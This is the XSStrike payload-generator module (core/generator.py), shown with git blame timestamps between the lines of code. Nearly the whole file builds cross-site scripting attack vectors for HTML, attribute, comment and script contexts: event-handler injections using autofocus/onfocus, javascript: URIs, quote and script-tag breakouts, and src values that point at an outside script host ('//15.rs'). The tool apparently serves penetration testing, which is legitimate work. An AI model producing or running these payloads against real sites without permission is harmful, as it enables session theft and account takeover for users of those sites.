Files
XSStrike/core/generator.py

170 lines
8.3 KiB
Python
Raw Normal View History

from core.config import xsschecker, badTags, fillings, eFillings, lFillings, jFillings, eventHandlers, tags, functions
2018-10-27 18:58:52 +05:30
from core.jsContexter import jsContexter
from core.utils import randomUpper as r, genGen, extractScripts
2018-11-16 21:13:45 +05:30
2018-10-27 18:58:52 +05:30
def generator(occurences, response):
scripts = extractScripts(response)
index = 0
2018-11-16 21:13:45 +05:30
vectors = {11: set(), 10: set(), 9: set(), 8: set(), 7: set(),
6: set(), 5: set(), 4: set(), 3: set(), 2: set(), 1: set()}
2018-10-27 18:58:52 +05:30
for i in occurences:
context = occurences[i]['context']
2018-10-27 18:58:52 +05:30
if context == 'html':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
badTag = occurences[i]['details']['badTag'] if 'badTag' in occurences[i]['details'] else ''
2018-10-27 18:58:52 +05:30
if greatBracketEfficiency == 100:
ends.append('>')
if lessBracketEfficiency:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends, badTag)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
elif context == 'attribute':
found = False
2019-04-19 14:34:01 +05:30
tag = occurences[i]['details']['tag']
Type = occurences[i]['details']['type']
2019-04-19 14:34:01 +05:30
quote = occurences[i]['details']['quote']
attributeName = occurences[i]['details']['name']
attributeValue = occurences[i]['details']['value']
quoteEfficiency = occurences[i]['score'][quote] if quote in occurences[i]['score'] else 100
2018-10-27 18:58:52 +05:30
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if greatBracketEfficiency == 100 and quoteEfficiency == 100:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
2018-10-27 18:58:52 +05:30
for payload in payloads:
payload = quote + '>' + payload
found = True
vectors[9].add(payload)
if quoteEfficiency == 100:
2018-10-27 18:58:52 +05:30
for filling in fillings:
for function in functions:
vector = quote + filling + r('autofocus') + \
filling + r('onfocus') + '=' + quote + function
found = True
vectors[8].add(vector)
if quoteEfficiency == 90:
2018-11-11 14:56:19 +05:30
for filling in fillings:
for function in functions:
vector = '\\' + quote + filling + r('autofocus') + filling + \
r('onfocus') + '=' + function + filling + '\\' + quote
found = True
vectors[7].add(vector)
if Type == 'value':
if attributeName == 'srcdoc':
if occurences[i]['score']['&lt;']:
if occurences[i]['score']['&gt;']:
del ends[:]
ends.append('%26gt;')
payloads = genGen(
fillings, eFillings, lFillings, eventHandlers, tags, functions, ends)
for payload in payloads:
found = True
vectors[9].add(payload.replace('<', '%26lt;'))
elif attributeName == 'href' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
elif attributeName.startswith('on'):
closer = jsContexter(attributeValue)
quote = ''
for char in attributeValue.split(xsschecker)[1]:
if char in ['\'', '"', '`']:
quote = char
break
suffix = '//\\'
for filling in jFillings:
for function in functions:
vector = quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
if quoteEfficiency > 83:
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
if quote == '':
filling = ''
vector = '\\' + quote + closer + filling + function + suffix
if found:
vectors[7].add(vector)
else:
vectors[9].add(vector)
2019-04-19 14:34:01 +05:30
elif tag in ('script', 'iframe', 'embed', 'object'):
if attributeName in ('src', 'iframe', 'embed') and attributeValue == xsschecker:
payloads = ['//15.rs', '\\/\\\\\\/\\15.rs']
for payload in payloads:
vectors[10].add(payload)
elif tag == 'object' and attributeName == 'data' and attributeValue == xsschecker:
for function in functions:
found = True
vectors[10].add(r('javascript:') + function)
elif quoteEfficiency == greatBracketEfficiency == 100:
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
for payload in payloads:
payload = quote + '>' + r('</script/>') + payload
found = True
vectors[11].add(payload)
2018-10-27 18:58:52 +05:30
elif context == 'comment':
lessBracketEfficiency = occurences[i]['score']['<']
greatBracketEfficiency = occurences[i]['score']['>']
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
2019-04-19 09:07:22 +05:30
if lessBracketEfficiency == 100:
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
elif context == 'script':
if scripts:
2018-11-03 22:49:40 +05:30
try:
script = scripts[index]
except IndexError:
2018-11-03 22:49:40 +05:30
script = scripts[0]
else:
continue
2018-10-27 18:58:52 +05:30
closer = jsContexter(script)
2019-04-19 08:59:12 +05:30
quote = occurences[i]['details']['quote']
2018-10-27 18:58:52 +05:30
scriptEfficiency = occurences[i]['score']['</scRipT/>']
greatBracketEfficiency = occurences[i]['score']['>']
2019-04-19 08:59:12 +05:30
breakerEfficiency = 100
if quote:
breakerEfficiency = occurences[i]['score'][quote]
2018-10-27 18:58:52 +05:30
ends = ['//']
if greatBracketEfficiency == 100:
ends.append('>')
if scriptEfficiency == 100:
breaker = r('</script/>')
2018-11-16 21:13:45 +05:30
payloads = genGen(fillings, eFillings, lFillings,
eventHandlers, tags, functions, ends)
2018-10-27 18:58:52 +05:30
for payload in payloads:
vectors[10].add(payload)
if closer:
suffix = '//\\'
for filling in jFillings:
for function in functions:
2019-04-19 08:59:12 +05:30
vector = quote + closer + filling + function + suffix
2018-10-27 18:58:52 +05:30
vectors[7].add(vector)
elif breakerEfficiency > 83:
2018-10-27 18:58:52 +05:30
suffix = '//'
for filling in jFillings:
for function in functions:
if '=' in function:
function = '(' + function + ')'
2019-04-19 08:59:12 +05:30
if quote == '':
2018-10-27 18:58:52 +05:30
filling = ''
2019-04-19 08:59:12 +05:30
vector = '\\' + quote + closer + filling + function + suffix
2018-10-27 18:58:52 +05:30
vectors[6].add(vector)
index += 1
2018-11-10 21:24:53 +05:30
return vectors